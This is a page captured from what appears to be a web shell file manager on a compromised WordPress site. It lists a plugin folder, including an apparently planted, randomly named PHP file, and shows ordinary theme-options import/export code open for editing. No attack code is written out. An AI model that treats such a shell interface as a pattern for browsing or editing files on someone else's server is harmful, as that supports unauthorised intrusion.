X7ROOT File Manager
Current Path:
/home/greejped/haldiawater.com/wp-content/plugins/case-theme-import/includes
home
/
greejped
/
haldiawater.com
/
wp-content
/
plugins
/
case-theme-import
/
includes
/
ðŸ“
..
📄
anoqejiz.php
(28.46 KB)
ðŸ“
api
📄
attachments.php
(2.96 KB)
📄
clear-folder.php
(1.19 KB)
📄
export.php
(26.04 KB)
📄
extra-functions.php
(3.67 KB)
📄
import-contents.php
(2.01 KB)
📄
import-export-handle.php
(12.09 KB)
📄
options.php
(3.7 KB)
📄
revslider.php
(18.64 KB)
📄
settings.php
(1.97 KB)
📄
term-handlers.php
(2.61 KB)
📄
widgets.php
(14.84 KB)
📄
woo_attributes_handles.php
(11.08 KB)
📄
wp-reset.php
(2.75 KB)
📄
zip-file-and-download.php
(1.38 KB)
Editing: settings.php
<?php /** * @Template: settings.php * @since: 1.0.0 * @author: Case-Themes * @descriptions: * @create: 20-Nov-17 */ if (!defined('ABSPATH')) { die(); } /** * Export theme options * * @param $file */ function ct_ie_setting_export($file) { global $wp_filesystem; $option_name = ct_ie_setting_get_opt_name($file); $file_contents = get_option($option_name); if (!$file_contents) return; $file_contents = json_encode($file_contents); $wp_filesystem->put_contents($file, $file_contents, FS_CHMOD_FILE); // Save it } function ct_ie_setting_import($file) { // File exists? if (file_exists($file)) { // Get file contents and decode $data = file_get_contents($file); $data = json_decode($data, true); $data = ct_ie_replace_theme_options($data); $option_name = ct_ie_setting_get_opt_name($file); update_option($option_name, $data); global $import_result; $import_result[] = 'Import theme options "'.$option_name.'" successfully!'; } } function ct_ie_setting_get_opt_name($file) { global $wp_filesystem; /** * Add WP_Filesystem Class * */ if (!class_exists('WP_Filesystem')) { require_once(ABSPATH . 'wp-admin/includes/file.php'); WP_Filesystem(); } $opt_name = apply_filters('ct_ie_options_name', 'ct_theme_options'); if (! file_exists($file)){ return $opt_name; } $options = file_get_contents($file); $options = json_decode($options, true); return !empty($options['opt-name']) ? $options['opt-name'] : $opt_name; } function ct_ie_replace_theme_options($options) { $_replaces = apply_filters('ct_ie_replace_theme_options', array()); foreach ($_replaces as $pattern => $_replace) { if (isset($options[$pattern])) { $options[$pattern] = $_replace; } } return $options; }
Upload File
Create Folder